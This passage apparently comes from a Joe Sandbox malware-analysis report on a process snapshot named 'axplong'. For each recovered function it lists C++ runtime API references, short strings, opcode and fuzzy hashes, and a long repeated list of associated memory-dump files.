Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: y/i
API String ID: 2858396081-2182310748
Opcode ID: 45c33d05d34ad188e508cdbaf035783e060ee3a90ee2f59e94d130d60e6de474
Instruction ID: 47ae0725718a52b6799948e2279f5b8d33bda39f394a3cef62a66e0bde8f20a0
Opcode Fuzzy Hash: 45c33d05d34ad188e508cdbaf035783e060ee3a90ee2f59e94d130d60e6de474
Instruction Fuzzy Hash: 24513D71900615CFCF20EF24C5E19B9B7E2EF0A720B25989AD805AF255D730ED41CFA9

Function 006A7870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 006A795C
__Cnd_destroy_in_situ.LIBCPMT ref: 006A7968
__Mtx_destroy_in_situ.LIBCPMT ref: 006A7971

Strings

@yj, xrefs: 006A794A

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @yj
API String ID: 4078500453-3695255083
Opcode ID: c2c1e6d316897e44def9dffa48274051b6a9ee555aac1fb05d7034ddef8bceca
Instruction ID: 2dd8d6ae94ec06e98fc583a7d967add35a804a1e5443723e8b682cf29f2b150f
Opcode Fuzzy Hash: c2c1e6d316897e44def9dffa48274051b6a9ee555aac1fb05d7034ddef8bceca
Instruction Fuzzy Hash: 8A31C0B29043049BD720EF68D845A6BB7E9EF16310F000A7EE946C7742E771EE548BA5

Function 006A9940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 006A997F
__Cnd_destroy_in_situ.LIBCPMT ref: 006A998B
__Mtx_destroy_in_situ.LIBCPMT ref: 006A9994

Strings

@yj, xrefs: 006A996D

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @yj
API String ID: 4078500453-3695255083
Opcode ID: dc7bd6cb489c765ba3ee0cb133caa64425354de87e37a045fd24f36db3b6d0c8
Instruction ID: 05a858414fb176b0a2b98f3dc14017a1004a6ce7531f5aed2c555b4034cb446b
Opcode Fuzzy Hash: dc7bd6cb489c765ba3ee0cb133caa64425354de87e37a045fd24f36db3b6d0c8
Instruction Fuzzy Hash: 86F04FB29007009BCA24EFB0E444B97B7EAAF86710F14591DE69687602D774E948CB61

Function 00692AF0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692B23

Strings

This function cannot be called on a default constructed task, xrefs: 00692B03
P#i, xrefs: 00692B2E
P#i, xrefs: 00692B18

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i$This function cannot be called on a default constructed task
API String ID: 2659868963-2992938221
Opcode ID: 55d379fb910f0d81068c86fa1f9662fa0e269aacafcc95a6dfd6c714f4aa15b9
Instruction ID: 1bc1bc54b920614f322f473f814c96280c54bfb4a92eefd1c7bf6311ca1e6161
Opcode Fuzzy Hash: 55d379fb910f0d81068c86fa1f9662fa0e269aacafcc95a6dfd6c714f4aa15b9
Instruction Fuzzy Hash: 3EF0A771D1134C9FC710DF6998419AEFBFADF15300F5042AEE84467300EBB05A54CB99

Function 006AD312 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0069247E

Strings

P#i, xrefs: 00692486
P#i, xrefs: 0069246D

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: eb844f95fd68dabff8ae69d6f6213ca782161ae41faece9049d8c858b92c88c2
Instruction ID: 7f759013fc4f9fffe70a4755b52c29bea0c3fd428c7a0c06a3b5b34641a4913f
Opcode Fuzzy Hash: eb844f95fd68dabff8ae69d6f6213ca782161ae41faece9049d8c858b92c88c2
Instruction Fuzzy Hash: DD71CFB290060A9FDB14EF94D8817AEB7F6FB08310F24856AD506EBB90E7709D50CF94

Function 006A8E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

P#i, xrefs: 00692486
P#i, xrefs: 0069246D

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
